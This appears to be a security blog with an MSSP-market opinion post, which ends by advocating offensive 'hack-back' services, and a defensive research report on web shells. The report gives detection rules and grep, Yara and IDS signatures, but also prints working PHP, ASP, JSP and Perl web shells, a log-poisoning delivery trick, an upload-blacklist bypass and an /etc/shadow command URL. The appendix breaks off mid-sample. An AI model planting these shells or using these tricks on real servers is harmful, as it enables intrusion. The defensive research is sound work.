Tuesday, July 8, 2014

Amazing Security at Small Business Prices

Having invested over 13 years of my life in the Managed Security Services Provider (MSSP) space, I had the privilege of having insights into the top InfoSec companies in the world. In my later years as a strategic solutions developer many of my discussions with business leaders revolved around market and customer strategy and competition. My last role at my unnamed MSSP job included developing strategic partnerships aimed at specific slices of the security industry while as a greater MSSP developing next-gen concepts to attract and retain our customer base.

Some of the executives defining our business objectives and goals were consuming reports from industry talkers like Gartner and growth news from competitors (both of which in my opinion were little more than marketing fluff), and were being told the security services industry was in the midst of a boom and would be increasing exponentially year-over-year for the foreseeable future. This led to the inevitable objectives from our excited executives:

a) Build something to put x competitor out of business to capture their market share.

b) Develop something new that shows true expertise and draws attention and customers to us.

c) Change what you do to make our services more competitive than those companies that are experiencing exponential growth.

More simply put: do something cooler than FireEye, deliver something sexier than Mandiant, do it at a price so low that all of the SecureWorks customers come flooding to us.

The Problem

Those objectives I outlined are impossible for a single organization to meet as their primary objectives, hence one reason why I'm no longer with an MSSP. You can't build to compete in a commodity industry and hope that your customer base will fund the development of services to attract the top customers who will truly drive profit, but expect non-standard and truly cutting edge services. Here's the deal. Let's set a projected customer base that is comprised of every potential US based company that would fall into the general buckets:

1. Commodity based or compliance driven security services (~70% of the MSS industry today)
2. Major companies with internal security practices with a niche problem they can't solve (~20%)
3. Top companies with full-fledged, advanced security programs who never will outsource (~10%)

I'll add some more categories: the majority of the MSSP market (the 70%) are organizations who don't know or care about security, but they know they need to have some. The middle 20% are doing the best they can afford, but understand they need help from true experts to fill in the gaps. The top 10% are likely critical infrastructure, defense contractors, IT innovators, or major financial institutions who know and have experienced true security problems like no one else, and have staffed and built accordingly and don't really need services help.

The Gartner projections and the growth bragging done by MSSPs are all focused on the 70%. Having interacted with that segment of the market, my experience is these organizations want the minimal solution at the minimal price to maintain a minimal level of compliance with some defined standard. That means your products and services MUST be extremely scaled back and dumbed down. They do not actually want to know about security problems because mitigating them costs money. They want to be compliant and ignorant. When you operate in this world, you select products with low value, highly automated and templatize your services, and hire entry level security professionals looking to enter the industry without demanding much salary. With that combination you will be able to offer competitively priced solutions, but the tools, automation, and low skilled staff, and uninterested customers will not enable you to reach into the arena of advanced threats which you need to invest in to build experience that will attract larger customers.

The middle 20% are the exact opposite. They have interacted with advanced threats and have come face-to-face with serious cyber challenges. They know the risks. They know enough about the adversary to be concerned, but not enough to fully act. They know the potential solutions...but can't sustain them in house and thus need help. They expect unique solutions, in-depth analysis, custom experiences, and proprietary insights into threats and threat actors. To meet the needs of the top 20-30%, you need industry expert intelligence, visibility, technology, processes, top notch customer service, extremely customized and white-glove oriented services, disaster recovery, flashy presentations, showpiece facilities, blogs on emerging threats, and cash to burn on parties and special events. You need serious money to build and sustain. You need to be willing to go deep with these customers and you can't nickle and dime them to death. You have to sacrifice some profit for the sake of experience. You also need to build a bridge between your standard services and your advanced team satisfying your top echelon customers. The problem with that model is once your customers interact with your best services, they will be frustrated by your standard efforts. 

You can't deliver anti-malware services to Lockheed Martin that augment their in-house capabilities with an IDS and a $30,000 salaried Security Analyst who follows a one-size-fits-all service template. That won't fly. You can't simply ingest commodity (and free) intelligence from open source communities and inject that into your products to generate automated alerts. Your customer base already does that. You can't deploy low-end one-size-fits-all technology with a 10 year old threat paradigm to protect your customer environments because they can build something better in-house. You truly need bleeding-edge across the board. That is expensive. Really expensive. You can't just send random and standard response recommendations for every detected threat. You can't work in an isolated threat paradigm that doesn't consider the sector or business characteristics of your customers. However, to meet the growth projections of this market (the big ones), you can't afford to do anything less than highly automated, low skilled, and template driven standard services.

The shortcut lies in close proximity to national defense. However, those partnerships and experiences are locked up by data classification and NDAs, making them marketable, but almost unusable. For example, at a defense contractor, I may have solved a significant security challenge for a US Government organization, but I can't take and use that anywhere, and neither can they. Mandiant's APT1 report was old news the day it hit the press for a select group of the security industry, but those "in the know" couldn't share those details. Creating that from scratch in the commercial space requires considerable time, access to rich data in multiple environments, and top talent. This is a common problem those near the defense circles have. They want to use their government experiences as a marketing tool, and often do, but their customers don't realize that USG experience and cool intelligence can't be integrated into a standard service. I've tried...you can't. So if someone comes to you saying "our staff are all from the NSA," resist the temptation to be impressed. Nothing against the NSA, but realize all that cool stuff they worked on there is likely isolated to DoD spheres, and the intel doesn't move with them to their new employer. 

Alas if you build to meet the needs of the top 30%, you end up building a service model that kicks you well beyond the interest level and pocket book of the 70% of the industry in which you are hoping to grab growth and market share as your base for sustainability. You end up with a niche solution that you will struggle to sell beyond a handful of clients. The general market  might love your solutions, your branding, and your intelligence, but they will walk away due to sticker price and perceived irrelevance. In my last gig, we had customers provide us similar feedback saying, "we love your solution, but can't afford it," or "you had the best technical solution, but the price was too high." Likewise if you build for the 70%, you will never reach the data, the incidents, the technology, the intelligence, the experiences etc. needed to meet the needs of the top 30%. In my last gig we also acquired a product vendor that had an amazing solution used in USG spheres, however because of the way it was built, and because the methodology in which the USG used it, it was almost useless in commercial spheres. We couldn't sell it. Sure it sounded amazing...but it just didn't relate to the commercial marketplace. 

There is also the quality of service issue. As Mandiant is experiencing, if you do launch at the top 10%, and try to expand outside of that sphere you will end up compromising the level of expertise and quality of services you provide. To maintain a high perceived value, you can, like Mandiant does, limit the scope of what you do so specifically that you will always do exactly what you say you will. However, when you expand into the 70% you have to go wide, which means you need to hire new talent at a pace that will meet the needs of the extended market. As you do, you dilute your value to the point where your customers are left with a 70% service billed at a 10% cost.

As my former MSSP employer is experiencing, you also can't build to compete in the 70% market and hope to attract the 30%. Those 70% customers don't generate enough revenue and margin nor experience to enable you to invest in advancing beyond the realm of the basics.

There is a choice to be made. Go for one or the other. Most industry leaders are doing exactly that. FireEye doesn't market to the medium business customer, and Fortinet underwhelms in the advanced security customer. Therein lies a new challenge; the existing competition in a saturated market.


My Conclusion

Based on my experiences, I have come to conclude that barring some major innovative solution that uniquely changes the way the security industry works in a manner that is compelling to a wide section of the industry, attempting to enter the security market today is an endeavor into chasing the proverbial pot of gold at the end of the rainbow. Those Gartner projections are nothing more than a myth unless you are already well established in that sector with capabilities to capture it. Entering this market to compete with existing solutions or products is a non-starter.

If you want to go after that growth, it needs to be with something truly paradigm changing.

Thoughts on Marketed Solutions

If you want to enter the modern cyber security industry, there is little hope unless you have something so compelling and differentiating, that significantly disrupts the existing industry OR solves for a problem that no one else has. It has to be genuinely new, effective, and compelling to a wide section of the industry. 

We have a live example in all the "analytics" start-ups. Of those I've interacted with, they all tell the same story, but don't actually offer solutions that are unique. They all say you can't solve modern threat problems with static correlation (they use the word signatures), but then they offer a signature based system. They all claim SIEM is a failure because it relied on data normalization, contextual awareness, awareness of the problem (known use cases), and defined correlation rules. Then they offer a solution that normalizes data, overlays context through "data enrichment," and requires you to query the data or schedule recurring queries based on questions you want answered (we called that use cases and rules development in SIEM). They don't do anything the top 30% can't do, and they price the bottom 70% out of interest. Fail.

Is cloud the next frontier? If leading provider Amazon Web Services (AWS) is any example, my answer is no. They seek to openly share and publish advice on capabilities that are emerging due to customer demand. As customers seek greater visibility, AWS develops it, and makes it available to all. Those innovations that have come out are simply re-creating what we did in the traditional datacenter within the context of a new virtual datacenter. I'm not saying the two environments aren't unique, as they most certainly are, but the security innovation we're seeing the cloud is comparatively decades old thoughts being ported to an emerging platform. We've already solved the core issues, it's now a matter of porting what we know we should be doing to that dynamic environment.

Personally, the one major area that is left relatively untouched and unspoken for (apart from the passionate folks at CrowdStrike), is active defense. I know everyone out there is afraid of going blackhat on the adversary, but to quote someone (I can't recall who it was, but it wasn't my original thought), "do we really think the bad guys will sue us in international court for taking down their illegal money theft scheme?" The last frontier in my opinion is the disruptive industry. If someone had the gaul to actually build out a full-fledge adversary hunting and annihilation service (and I mean purely within the cyber realm), where you could be hired to identify who is targeting a customer and to silence them (again, on the Internet/cyber world), then in my opinion, you've solved for a unique and compelling slice of the market that should attract everyone.

Who's in?



Sunday, July 28, 2013

Web Shells

Background

During early 2012, I became aware of multiple APT related campaigns that were leveraging web shells as their initial entry point into corporate networks. Web application servers exposed to the Internet with minimal controls or monitoring were being used by adversary groups to establish an initial foothold, and from there enter the corporate network.

I engaged in a detailed study to determine what these web shells were, how they were infecting web applications, and how to mitigate this threat. The following details my findings.

Objectives

  1. Understand the nature of web shell technology and its use in system exploitation, command and control, and related APT efforts.
  2. Develop recommendations for addressing the threat posed by web shell including detection and prevention.

Methodology 

I conducted research into public forums, underground forums, white papers, and reviewed numerous malicious samples of web shells to understand the nature and use of this threat. A small scale proof of concept was established to observe and test web shell use and detection.

Recommendations for developing a defensive posture including detection options have been provided in the sections below.

A summary of technical findings has been included in the technical and appendix sections of this report.

Web Shells Defined 

Web shells can be compared to a remote access Trojan, but of a variety that leverages existing applications (web services) to facilitate command and control rather than installing a new component such as a backdoor. Web shells vary greatly in terms of sophistication and may be bundled with additional features. Web shells are used by actors for remote command and control over the systems that have been exploited. They are not themselves weapons used for attack or vulnerability exploitation, but rather a tool used post compromise to issue commands on the compromised system. 

Delivery Tactics

Because web shells are not used as an attack tool, they can be delivered via any number of web application exploits or configuration weaknesses. Some examples include:

Cross-site scripting 
SQL injection 
Java Exploit 
File upload vulnerabilities or extension blacklist bypassing 
Remote file include vulnerabilities 
Local file include

Indicators

The following general indicators of web shell activity were discovered during research:
System, file, or directory changes (web code, configuration files, ACLs, files dropped, content dropped). 

  • Web shell code was as a standalone file containing shell interaction commands (cmd, exec, etc.)
  • Web shell code was injected into web application pages (cmd, exec, etc.)
  • Remote interaction with the shell code was performed through commands sent in HTTP GET strings
  • Obfuscation (custom or otherwise) was used in the form of encryption, hidden files, or encoding

Proof of Concept

To obtain hands-on experience with web shells, I established a basic proof of concept involving two systems: my Windows laptop running a Windows VM (as the victim webserver). 

Webserver: Windows XP running Apache Tomcat 7.0.26 
Configuration: Default install 

Injected code: One I had the server up and running, I replaced the existing index.jsp with a copy that contained the following at the bottom. Note, I did not "exploit" the webserver to invoke this replacement as that was not my goal for the proof of concept. My goal was to understand what web shell are and how they behave for the purpose of defense. Exploit prevention is another topic for another time, and there are many methods that can be used to inject code into web servers. Here's what I added:

<FORM METHOD=GET ACTION='index.jsp'> 
<INPUT name='cmd' type=text> 
<INPUT type=submit value='Run'> 
</FORM> 
<%@ page import="java.io.*" %> 
<% 
String cmd = request.getParameter("cmd"); 
String output = ""; 
if(cmd != null) { 
String s = null; 
try { 
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); 
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 
while((s = sI.readLine()) != null) { 
output += s; 
} 
} 
catch(IOException e) { 
e.printStackTrace(); 
} 
} 
%> 
<pre> 
<%=output %> 
</pre>

Commands Entered: Using specific urls that invoked the following commands, I attempted to interact with cmd.exe on the local system through the injected code (ipconfig, whoami, netstat –na). To interact with the web shell, I simply passed the cmd= followed by the specific command I wanted, through the URL. Here's how they looked:




Results: The output of the commands was displayed directly in my browser window, and the bottom of the page where the shell code was inserted.

Web Shell Obfuscation and Mitigation Tactics

Web shells can use a wide range of tactics for evasion. Those identified during research are listed below with a mitigation strategy.

Tactic or Scenario Mitigation 

In the first scenario, external web shell code was injected through an “include” statement. Include statements must be added to the local web server pages. Monitoring for unauthorized changes should detect when something is amiss. To defeat this tactic, consider:

  • Monitor encrypted communications between actor and target by implement an SSL proxy to gain visibility into the full contents of the communication stream
  • Implement full application logging to collect GET and URI details for continuous monitoring
  • Monitor uploaded files for encoding that can be used to obfuscate web shell code
  • Leverage a web application firewall or reverse proxy server to detect and prevent encoded contents from being dropped to the server
  • Advanced inspection tools like McAfee NTR may detect based on file attributes. 
  • The presence of an encoded file within the web directory can be discovered through code scanning.
  • When encoding is used to obfuscate command and control, a local decode file or code must be present for the web server to interpret incoming communications
  • Evaluate all files dropped or added 

Defense and Detection

Web shells cover a very broad spectrum in terms of sophistication and how they are delivered, however they rely on common elements that may be defended against though a mutli-tier approach leveraging a combination of practices, policies, technology, and monitoring. Defensive measures have been prioritized below in a high level summary of mitigation objectives:

Defense Prioritization:
  1. Implement strict access control.
    1. Network based IP and content control through a WAF or reverse proxy (including SSL proxy) to prevent direct system/application access and provide the foundation for content inspection
    2. Control content (administrator, public, etc.) access based on role: principle of least privilege.
  2. Enable full logging at the application and host level and export logs and monitor for unusual contents in the URI and related fields and include in log collection and monitoring tools.
  3. Implement change management and configuration change monitoring on all external systems.
  4. Extend OS and application vulnerability scanning to all externally facing systems.
    1. Conduct periodic intrusive scanning.
  5. Deploy McAfee NTR or a like file/network inspection technology “behind” reverse proxy of WAF to monitor all Internet communications for unusual characteristics.
  6. Implement application white listing.
Comprehensive Defense and Detection

Delivery and Exploit Prevention: Secure web servers and web applications 
Delivery and use of a web shell can only be accomplished through web application vulnerabilities and configuration weaknesses. Proactively identifying these weaknesses and mitigating them will restrict an actor’s reconnaissance, weapon delivery, and exploit capabilities. 
  1. Implement strict change control and change monitoring.
  2. Use a unique user-id for all web service applications and restrict that user’s access to shell commands or system/OS features not required for application functions.
  3. Harden web server and application configurations and validate with regular comprehensive pen testing.
  4. Leverage web application access and content control features comprehensively (eg. .htaccess).
  5. Use commercial web services products whenever possible and update with vendor patches.
  6. Conduct pre-implementation code review.
  7. Enforce strict access control at the network, host, and user levels including:
  8. Network ACLs (FW, Reverse Proxy, IPS).
  9. Host ACLs (local firewall or application access control lists).
  10. User control (separate all administration accounts from application accounts).
  11. Monitor the status of vulnerabilities and enforce remediation.
Delivery and Use Detection: 
Continuous Network Monitoring of Communication and File Attributes 
Inspect network communications for malicious attributes to detect when a weapon is being delivered or used: web shell files contain shell commands and receive commands and send results via the network. 
  1. Inspect files being transferred to web applications and servers for attributes of hidden use (obfuscation) or embedded commands (file containing shell commands).
  2. Inspect HTTP data for indications of command and control or unusual HTTP clients interacting with the web application or server OS.
  3. Inspect URLs and URIs request methods passed to the target server for command structures.
  4. Enable full audit logging at the OS and application layer and monitor remotely or implement a reverse proxy to capture all relevant data at the network level.
Exploit and Foothold Detection: Continuous Host-Based Monitoring 
Monitor web server files & configurations: delivery of web shells results in a change to the target server files or folders (add or modify). By monitoring for unusual access or changes detection may be possible. 
  1. Establish continuous monitoring of static web application files and directories for indications of changes which may represent malicious activity or a deviation from defined configuration policies.
  2. Provide continuous evaluation of system configurations and compare against scheduled changes.
  3. Scan web server files for malicious attributes: web shells represent foreign files or code.
    1. Inspect the attributes and contents of files used by the web application service for indicators of embedded code, encryption, or other factors which indicate malicious use.
  4. Monitor system behavior for actions representing foreign presence:
    1. Directory listings
    2. User enumeration
    3. System reconnaissance (process listings, open ports)
WebShell Validation: Forensic validation of a web shell’s presence and use 
If a system is suspected of compromise or web shell use, simple manual tools can be used for validation: 
  1. Manual command line search for files containing attributes of shell code.
  2. File string scans using a tool like Yara to discover embedded shell code or files containing malicious attributes (encoding, encryption etc.).
Technology and Services to Facilitate Defense 
  1. OS vulnerability scanner: QualysGuard, Nessus
  2. Web Application vulnerability scanner: QualysGuard WAS, Nessus
  3. Host Monitoring: McAfee TEP, Triumfant, Bit9
  4. Configuration monitoring: Tripwire, Triumfant, nCircle
  5. File and application monitoring: McAfee Total Protection, Triumfant, Bit9, nCircle
  6. Network monitoring: IDS, FW, Reverse Proxy, WAF
  7. Advanced network monitoring: McAfee NTR, NetWitness, FireEye
  8. Correlation: ArcSight 

Section 2: Web Shell Technical Review

The following sections are intended for the technical audience and serve as a more detailed review of the research conducted. Samples of web shell code are included as are specific solutions tested for web shell detection. 

Genearl Findings

Web shells have been in use for over 12 years within the realms of legitimate and malicious use, but appear to be on the rise possibly due to the recent emphasis on web-based applications. Of the web shells reviewed as listed below, one use case (remote browser system shell access) and three general architectures were discovered: web shell as a local http daemon, web shell as a proxied command and control utility, web shell as a file within the HTTP services structure. Web Shells exist for numerous web applications including CGI, PHP, ASP, and JSP. All architectures leveraged the web browser of the client to interface directly with the remote system shell using the web function as an interpreter. Some shells like the ASP shell (see cmd.asp) are very simple codes that establish a CLI interface via the browser in only a few html lines, while others like the c99 shell are very complex perl scripts that create the web shell based on system variables, include password protection and update features, command arrays, functions, command variables for obfuscation, and configurations for use in multiple environments. Several web shells reviewed used simpler user-agent string based browser validation to evade detection. However, common attributes and impact exist among all (shell commands and changes to the web application). 

Non-Malicious Use

The following web shells publicly distributed as remote systems administration tools were reviewed and were not apparently intended for malicious intent:


  • WebShell (2011) – developed for use on an iPhone (as the client) to remotely admin Linux servers 
  • Shell In A Box (2010) – local daemon using SSL for remote system CLI via a web browser 
  • Researcher Use: The following reviewed web shells were created by security researchers as proof-of-concept or pen testing tools and represent methods attackers could be or are leveraging: 
  • WSH (2006) – firewall bypassing technique 
  • Shell Of The Future (2010) – reverse web shell handler for XSS exploitation 
  • Htaccess Stealth Shell (2011) – web shell obfuscation proof of concept 
  • Simple web shell code samples – malicious web shell proof of concept white paper 

Malicious Use 

The following web shells publicly distributed by malicious forums were reviewed and appear to have been custom created by specific actors and groups. References are cited for these in the appendix. 

  • WebShell by Orb (2011) 
  • C99 PHP Shell (2005 ccteam.ru) 
  • Gamma Web Shell or WebShell.cgi (2003 Gamma Group) 
  • Go-shell.cgi 
  • JspWebshell_1.2.jsp 
  • CmdAsp.asp (2000 by Maceo) 
  • Cmd-asp-5.1.asp (2006 by Brett Moore)

Recent Campaign Use

Web shells were components of the following recent adversarial campaigns that had far reaching impact.

  • Multiple campaigns by Orb in 2010 and 2011 
  • Night Dragon 
  • Shady RAT 
  • Commonplace among Chinese hacker forums (like hxxp://files[.]xakep[.]biz/shells/) 
  • References to C99 in multiple numerous attacks

Architectures

WebShell as a local File

Most of the malicious samples used followed the architecture of the actor dropping a local file containing the shell code onto the target system’s web application structure. Application exploits were used to drop the file and modify the web application to make the dropped file accessible by the web application. Some examples simply used existing configuration weaknesses to engage the dropped file, but the architecture remained the same. 

External WebShell Code

One example reviewed leveraged an architecture where the only modification made to the victim system was a remote file include statement which when activated via an HTTP GET request would reach out externally to evaluate the webshell code which was hosted on the attacker’s system. 

Weaponization and Delivery

Web shells are a common method of command and control which is a function of the “foothold” stage of the infiltration kill chain. Delivery and execution can be accomplished through a wide variety of web application exploits and weaknesses. Some examples of exploits used to deliver web shells include the following. A very good white paper on this subject which covers web shell delivery for multiple vectors can be found at: 


  • Cross-site scripting 
  • SQL injection 
  • Java Exploit 
  • File upload vulnerabilities or extension blacklist bypassing 
  • Remote file include vulnerabilities 
  • Local file include 

One stealthy method of delivering a web shell intentionally created an error log entry on the web server that included the web shell code (<?php echo passthru($_GET['cmd']); ?>) by passing an HTTP request to the server for a file that doesn’t exist, with the code embedded in the referrer section of the HTTP request. The attacker could then activate the code by leveraging include functions and sending the web server a GET request for the log file which launched the web shell. This method does not persist beyond a log roll, but creating a new log entry for persistence is an easy task.

File upload exploitation can be a relatively easy method to use by bypassing weak blacklists or file upload ACLs to post the web shell to the server. For example, if .php is a blocked extension within the file upload blacklist, .php3 which is interpreted by the web application as a php file, may not be. The same applies for variations on any file type with variable extensions.

Because the file must be included in an existing web page for the function to work properly either the existing web services function must call the standalone shell file (through an include or other function), or the web shell code must be embedded into an existing web page. For the sake of expediency, the proof of concept used in this effort leveraged the later.

Once the file has been dropped into the web services functions, the actor can interact with the page to conduct shell access on the web server system. 

Impact

Once the attacker has delivered the web shell, they have an interface to the system shell as the web server user and can leverage that capability to launch additional actions. During proof of concept tests, the web shell script used provided shell access as the system user. 

Defense 

Because the web shell is a post exploit tool used for command and control, detection is possible, but defense must include proactive measures to prevent initial web application exploitation and establish reactive detection. The following recommendations will facilitate a defensive posture: 

Prevent Web Server Exploitation

Of the web shells reviewed most are delivered post exploit while others are delivered and accessed through configuration weaknesses. The web application must be exploited first before a web shell can be dropped and executed. That means defense starts at securing web services. 
  1. Prevent exploitation by remediating vulnerabilities
    1. Conduct regular system and application vulnerability scans to discover vulnerabilities and mitigate when found. 
    2. Note: this does not prevent 0 or half day exploitation. 
  2. Conduct continuous configuration assessments and monitoring to discover configuration changes or weaknesses and compare against defined policies to identify configurations that expose systems to exploitation. Where access controls are used, ensure they are comprehensive.
  3. Use vendor supported web services whenever possible to ensure protection from flaws in custom coded web applications. When custom coded applications are used, leverage penetration testing and code review to ensure security and continuously monitor for any configuration changes.
  4. Enforce strict access control for web applications created for specific customers by restricting HTTP or HTTPS access to only the subnets or ranges used by the intended customer and for only the content that should be made available to them.
  5. Enforce vulnerability/exposure mitigation and/or isolate vulnerable systems into a segmented VLAN to reduce greater impact if a vulnerable system is exploited.
  6. Of note, those who have been mitigating attacks leveraging web shells have found that patching web applications and limiting the use of custom or obscure free web applications has been an effective defense.

File and HTTP Content Inspection

All of the web shell detection methods discovered during research stated the most effective way at detecting a web shell was by searching the local web services, log, and temporary directories for changes or files containing common malware attributes; essentially attributes that should not be present in web services files (see Detection Options Detailed). 
  1. Enable full system and application logging and remote collection as the foundation for monitoring.
  2. Implement a web application firewall or proxy to decode and decrypt communications so that full inspection is possible.
  3. Inspect files passed to or on web servers to detect suspicious attributes including:
    1. Use of obfuscation within a file in a web services directory (for example a base64 encoded file)
    2. Embedded commands within a file in a web services directory ($cmd, cmd.exe, command.exe…)
    3. Modification of a web services file like .htaccess which may indicate an attacker has planted a new web page
  4. Inspect communications for attributes of suspicious activity including:
    1. Commands within URLs (example: http://www.server.com/file.php?cmd=cat+/etc/shadow)
    2. HTTP POSTs to servers which should not be posted to
    3. Inspect incoming content for files containing obfuscation, embedded commands, or unusual attributes
    4. HTTP requests for files not part of the standard web services structure
Note: Several researchers and victims of web shells noted the only method they were able to use to detect web shells on their systems was through file attribute inspection either via manual searches or a customized automated file scanning tool.

System and Behavior Monitoring

In every web shell reviewed, commands were invoked by the shell script which is run as the local web application or system user. Any actions or changes performed by the web application user that should not be would therefore be highly suspect. 
  1. Monitor files and logs on external systems to detect modifications or suspicious attributes
  2. Monitor web services users for interactive or system level actions
  3. Monitor for changes to the content and access control files (like .htaccess)
  4. Monitor error logs for interactive shell strings to detect if shell interactions are in progress
  5. Monitor commands and processes run by the system user
  6. Monitor for unauthorized system or application changes

Detection Options Detailed

Depending upon the web shell used, detection may be accomplished through a multi-layered approach using a combination of options described in the subsections below. Perhaps the most effective detection of web shells will be local configuration change detection, local file attribute inspection, and network scanners like McAfee NTR to discover file attributes used by advanced malware in general. Multiple public-source tools such as spyshell80 and NeoIP leverage this method to detect shells in web servers. The basic premise is legitimate web content should not include certain characteristics like obfuscation, encryption, or shell commands. These indicators when correlated against system behavior may result in high fidelity detection of an intrusion, however further analysis would be required for web shell attribution. Some of the tell-tale signs of web shells include: 

  • Modifications to content and system ACLs (like .htaccess) 
  • Base64 encoding for obfuscation 
  • Files containing encryption 
  • File contains shell commands, interpreters, or translators 
  • URLs contain shell commands

Host Based Options

File inspection on externally facing systems with a host-based monitoring tool or script which identifies file characteristics like the following. Note, his could be scripted as a daily function with the output added to Windows event or syslog to be externally monitored. Some manual examples include:

Linux Command
grep - RPn "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|readfile|passthru|cmd|dir|pwd)"/path-to/web-files

Windows Command
find \i “cmd” c:\path\to\webservices\* 

File attribute inspection and string analysis to discover files containing obfuscation or other malicious attributes that should not be present.

Commercial host based file inspection tools like McAfee may exist to provide this capability. A simple Yara rule was developed based on common strings within the reviewed web shells and was effective at detecting the samples. If Yara can be adapted to a network or host based platform with an external logging facility, it may be an effective detection tool.

rule web_shell_attribute_detection
{ 
strings: 
$a = “$cmd” 
$b = “cmd.exe” 
$c = “cmd” 
$d = “command” 
$e = “base64” 
$f = “mkdir” 
$g = “passthru” 
$h = “exec” 
$i = “shell_exec” 
$j = “dir” 
$k = “ls” 
Condition: 
any of them 
}

NeoPI is a tool develop by researchers and presented at multiple security conferences as a manual method for web shell detection (CLI based tool series of scripts). 

  • Identifies long strings within files – indication of encoding
  • Entropy to determine randomness of file contents 
  • Leverages index of coincidence to detect portions of text within a file that deviate from normal character distributions 
Monitor host based or system logs to detect unauthorized changes to static or other critical web application files: .htaccess is used to control access to web resources and hence is sometimes used by attackers to control access to web shells.

Only effective for exploits that modify .htaccess like the sample included in section 2, but one possible indicator

Identify all static configuration files or directories and monitor for changes.

Create unique user account for web applications and monitor activity for user-like actions or any system level access requested by that user account.

Because the attacker won’t know the particular attributes and configurations of the system, their initial recon will likely involve exploratory commands like: 

  • dir or pwd 
  • ls 
  • whoami 
  • netstat

Network Based Options

Of the example web shells reviewed, some used obfuscation tactics (like base64 encoding), some used SSL encryption, and most used clear text HTTP. Network based detection will of course depend upon the nature of the web shell and additional technology (such as an SSL proxy) would be required to facilitate some detection methods:

Payload and URL inspection for shell code activity can be accomplished using custom IDS signatures when URL and payload information can be inspected, and neither encryption nor obfuscation are used within the session by the attacker. Both the files passed to the web server and the HTTP commands used to execute shell commands may contain indicators such as those highlighted in the web shell samples below.

The presence of semi-colons, pipe ( | ), redirection ( > ) within a URL may also represent a command structure being passed to the web shell on the victim.

Web shell code A:

<?php 
if(isset($_REQUEST[‘cmd’])){ 
echo "<pre>"; 
$cmd = ($_REQUEST[‘cmd’]); 
system($cmd); 
echo "</pre>"; 
die; 
} 
?>

Web shell A execution:

Web Shell Code B:

<% 
Set command = "rundll32.exe /d " + "Request.QueryString("lol") + ".dll" 
Set objWShell = CreateObject("WScript.Shell") 
objWShell.Exec(command) 
%>


McAfee NTR bases threat detection on multiples session based factors including identification of file characteristics that indicate possible malicious use. NTR’s capabilities include detecting some of the obfuscation tactics used by web shells. Once a suspect file or session is identified, the suspect file is made available by NTR for off-box analysis to determine the nature and capabilities of the file. Some examples of how NTR discovers possible malicious files follow. Additional proof of concept testing would be needed to validate NTR as our limited proof of concept was not detected by the demo instance of NTR currently available to the Engineering team.

base64.HTML.Serverside.Generic.Trojan

Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"base64.HTML.Serverside.Generic.Trojan"; content:"Content-Type|3a| text/html|0d 0a|"; content:"Content-Length|3a| 25| 0d 0a|"; distance:0; pcre:"/[\x0d\x0a]{4}[A-Za-z0-9\/+]{22}==([\x0d\x0a]|$)/i"; sid:20056017; rev:3;)

This signature detected an unusual base64-encoded server response that could possibly be the result of a callback request from an infected host. If in conjunction with other alarms, you may wish to check this host for signs of compromise.

base64.POST.XSS

Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"base64.POST.XSS"; flow:to_server; content:"POST "; nocase; depth:5; content:"="; content:"eval"; distance:0; content:"base64_decode"; distance:0; pcre:"/eval(%28|\x28)base64_decode/"; sid:20055975; rev:1;)

This signature detected unusual POST parameters that may indicate obfuscated malicious input being passed to the server. This could result in a form of cross-site scripting attack, or in some cases, possible command injection.

base64_decode.URI.XSS

Alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"base64_decode.URI.XSS"; uricontent:"eval"; uricontent:"base64_decode"; distance:0; sid:20055037; rev:3; reference:url,hi.baidu.com/opense/blog/item/f435db00c5016904728da536.html;)

This signature detected obfuscated (base64-encoded) javascript in the URL. This could indicate possible cross-site scripting attempts. An attacker could exploit this to execute arbitrary HTML and script code in the user's session.

passthru.A.PHP.Shell.Injection

Alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"passthru.A.PHP.Shell.Injection"; content:"<?php"; content:"passthru"; distance:0; content:"$_SERVER["; sid:20055830; rev:3; reference:url,luctus.es/wp-content/uploads/2010/04/Webshells.pdf; reference:url,exploit-db.com/exploits/18121/;)

This signature detected potential PHP shell injection against the web server.

Threat Intelligence correlation and network behavior analysis may be one indicator or when combined with the above detection may help raise the fidelity of web shell discovery since the attacker needs to interact with the web shell from a remote browser. 

  • Unusual User-Agent strings may indicate custom web applications or HTTP daemons or authenticated malicious clients. Most web shells used unique UA strings for obfuscation.
  • Known domains/IPs used for malicious intent.
  • Unknown domains/IPs matching behavior analysis (non-us country as one indicator)

Appendix 1: Web Shell Examples

The following section provides samples of numerous malicious web shells. The common attributes which may be used for detection have been bolded for emphasis.

Simple PHP Web Shell 

<?php if($_SERVER['HTTP_USER_AGENT']=="evil1"){echo passthru($_GET['cmd']);} else 
{echo " "; ?>

Simple ASP Web Shell

<% 
Set command = "rundll32.exe /d " + "Request.QueryString("lol") + ".dll" 
Set objWShell = CreateObject("WScript.Shell") 
objWShell.Exec(command) 
%>

PHP Web Shell Extract 

<?php 
$register_globals = (bool) ini_get('register_gobals'); 
if ($register_globals) $svr = getenv(SERVER_NAME); 
else $svr = $_SERVER['SERVER_NAME']; 
?> 
<html> 
<head> 
<title>Published at scripts.tropicalpcsolutions.com</title> 
</head> 
<body> 
<form enctype="multipart/form-data" method="POST"> 
<br> 
[webshell@<?php echo $svr ?> /]# 
<input type="text" name="cmd" value=""> 
<input type="submit" value="Enter"> 
</form> 
<br> 
<hr width="75%" align="left"> 
<br> 
</body> 
</html> 
<?php 
$cmd = $_POST['cmd']; if($cmd) { echo '<pre>'; echo $last_line = system($cmd); echo '</pre><br>'; } 
?>

Perl Web Shell

#!/usr/bin/perl #web shell using backticks 
use CGI; 
my $cgi = new CGI; 
my $command = $cgi->param('cmd'); 
if($command eq "") 
{ 
$command = "pwd"; 
} 
$result = `$command`; 
print $result; 
exit; 
And now using open() 
#!/usr/bin/perl 
#web shell open 
use CGI; 
my $cgi = new CGI; 
my $command = $cgi->param('cmd'); 
if($command eq "") 
{ 
$command = "pwd"; 
} 
open lol, "/bin/sh $command|" or die "Failed to open pipeline"; while(<lol>) { 
print; 
} 
exit;

JSP Shell 

<html> 
<FORM METHOD=GET ACTION='cmdjsp.jsp'> 
<INPUT name='cmd' type=text> 
<INPUT type=submit value='Run'> 
</FORM> 
<%@ page import="java.io.*" %> 
<%@ page import="java.util.*" %> 
<%@ page import="javax.servlet.*" %> 
<%@ page import="javax.servlet.http.*" %> 
<% 
